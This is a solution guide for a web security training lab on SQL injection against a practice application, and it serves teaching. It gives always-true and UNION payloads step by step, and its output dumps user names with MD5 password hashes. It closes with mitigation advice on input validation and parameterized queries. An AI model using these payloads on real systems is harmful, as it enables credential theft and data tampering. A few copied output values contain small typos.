



Solution Guide: Testing SQL Injection on Web Applications

This exercise challenged you to input a malicious SQL payload into a field on a web application to cause unintended consequences. You were tasked with taking the SQL queries you built in the previous exercise to design payloads to use against the web application. You entered these payloads into a web application and tested whether it was vulnerable to SQL injection.

1. Test the intended use of the web application.

- Enter the payload `1` into the web application.
- The results will display the following:

Unset

ID: 1

First name: admin

Surname: admin

- This matches the results from Step 1 of the SQL script run on DB Fiddle, except the `last_name` field, called "surname" on the web application:

```
first_name | last_name ----- | ----- admin | admin
```

2. Use an always true payload to test the unintended use of the web application.

- The second query was `select first_name, last_name from users where user_id = '1' OR '1' = '1'`.
- The payload is `1' OR '1' = '1'`.

- Entering the payload will return the following:

Unset

ID: 1' OR '1' = '1

First name: admin

Surname: admin

ID: 1' OR '1' = '1

First name: Gordon

Surname: Brown

ID: 1' OR '1' = '1

First name: Hack

Surname: Me

ID: 1' OR '1' = '1

First name: Pablo

Surname: Picasso

ID: 1' OR '1' = '1

First name: Bob

Surname: Smith

- This closely matches the results from Step 2 of the SQL script run on DB Fiddle, except for the id field. The application is designed to return the payload entered

in this field:

```
first_name | last_name ----- | ----- admin | admin gordon | brown hack  
| me pablo | picasso bob | smith
```

3. Use another always true payload to test the unintended use of the web application.
 - The third query was `select first_name, last_name from users where user_id = '1' OR 'dog' = 'dog'`.
 - Since the payload is all the data between the first and last single quote, the payload is `1' OR 'dog' = 'dog'`.
 - The results will be as follows:

Unset

```
ID: 1' OR 'dog' = 'dog'
```

```
First name: admin
```

```
Surname: admin
```

```
ID: 1' OR 'dog' = 'dog'
```

```
First name: Gordon
```

```
Surname: Brown
```

```
ID: 1' OR 'dog' = 'dog'
```

```
First name: Hack
```

```
Surname: Me
```

```
ID: 1' OR 'dog' = 'dog'
```

First name: Pablo

Surname: Picasso

ID: 1' OR 'dog' = 'dog

First name: Bob

Surname: Smith

- The results match the script from DB Fiddle:

```
first_name | last_name ----- | ----- admin | admin gordon | brown hack  
| me pablo | picasso bob | smith
```

4. **Bonus:** Use a payload to pull data from hidden fields.

- The query was `select first_name, last_name from users where user_id = '1' UNION select first_name, password from users where '1' = '1'`.
- The payload was `1' UNION select first_name, password from users where '1' = '1'`.
- The results will display data from two separate queries:
 - The results from the value of 1.
 - The first name from the database (displayed in the "First name" field) and the password field from the database (displayed in the "Surname" field), for all the other users:

Unset

ID: 1' UNION select first_name, password from users where '1'
= '1

First name: admin

Surname: admin

```
ID: 1' UNION select first_name, password from users where '1' = '1
```

First name: admin

Surname: 5f4dcc3b5aa765d61d8327deb882cf99

```
ID: 1' UNION select first_name, password from users where '1' = '1
```

First name: Gordon

Surname: 575e22bc356137a41abdef379b776dba

```
ID: 1' UNION select first_name, password from users where '1' = '1
```

First name: Hack

Surname: 97b9308f6a1f6a8524a91450dca473fa

```
ID: 1' UNION select first_name, password from users where '1' = '1
```

First name: Pablo

Surname: 8c7c9b1149e9de712b9e5abab45d700c

```
ID: 1' UNION select first_name, password from users where '1' = '1
```

First name: Bob

Surname: 4a02ce029a840716c61ee8fcda10158e`

- This resembles the results of the DB Fiddle query:

```
| first_name | last_name | | ----- | ----- | | admin | admin | |
admin | 5f4dcc3b5aa765d61d8327deb882cf99 | | gordon |
575e22bc356137a41abdef379b776dba | | hack |
97b9308f6a1f6a8524a91450dca473fa | | pablo |
8c7c9b1149e9de712b9e5abab45d700c | | bob |
4a02ce029a840716c61ee8fcda10158e |
```

5. **Bonus:** Use a single payload to pull the first name, last name, and password from the table.

- The fifth query was `select first_name, last_name from users where user_id = '1' UNION select concat(first_name,last_name), password from users where '1' = '1'.`
- The payload was `1' UNION select concat(first_name,last_name), password from users where '1' = '1.`
- Enter this payload on the web application and select Submit, to display the following results:

Unset

```
ID: 1' UNION select concat(first_name,last_name), password
from users where '1' = '1
```

First name: admin

Surname: admin

```
ID: 1' UNION select concat(first_name,last_name), password
from users where '1' = '1
```

First name: adminadmin

Surname: 5f4dcc3b5aa765d61d8327deb882cf99

ID: 1' UNION select concat(first_name,last_name), password
from users where '1' = '1

First name: GordonBrown

Surname: 575e22bc356137a41abdef379b776dba

ID: 1' UNION select concat(first_name,last_name), password
from users where '1' = '1

First name: HackMe

Surname: 97b9308f6a1f6a8524a91450dca473fa

ID: 1' UNION select concat(first_name,last_name), password
from users where '1' = '1

First name: PabloPicasso

Surname: 8c7c9b1149e9de712b9e5abab45d700c

ID: 1' UNION select concat(first_name,last_name), password
from users where '1' = '1

First name: BobSmith

Surname: 4a02ce029a840716c61ee8fcda10158e`

○

This matches the results on DB Fiddle:

```
| first_name | last_name | | ----- | ----- | | admin | admin |  
| adminadmin | 5f4dcc3b5aa765d61d8327deb882cf99 | | gordonbrown |  
575e22bc356137a41abdef379b776dba | | hackme |  
97b9308f6a1f6a8524a91450dca473fa | | pablocicasso |  
8c7c9b1149e9de712b9e5abab45d700c | | bobsmith |  
4a02ce029a840716c61ee8fda10158e |
```

6. Answer the following mitigation strategy questions:

- After testing and confirming that this web application is vulnerable to SQL injection, provide a summary for your manager of the potential impacts if a malicious actor attempts SQL injection on this web application.
 - **Solution:** There are many acceptable answers, because a variety of malicious payloads can be exploited. Impacts could include leak of confidential data like passwords and hashes and deletion or modification of confidential data.
- Based on the malicious payloads you created, recommend a mitigation strategy to the team that built this web application to prevent a malicious user from inputting malicious payloads.
 - **Solution:** There are many acceptable answers, all involving input validation.
 - Possible answers include server-side validation to only allow numerical single values as inputs and parameterized database queries that restrict input from the user.
 - Additionally, you can refer to the following resource for a comprehensive list of methods to protect from SQL injection attacks: [OWASP: SQL Injection Prevention Cheat Sheet](#).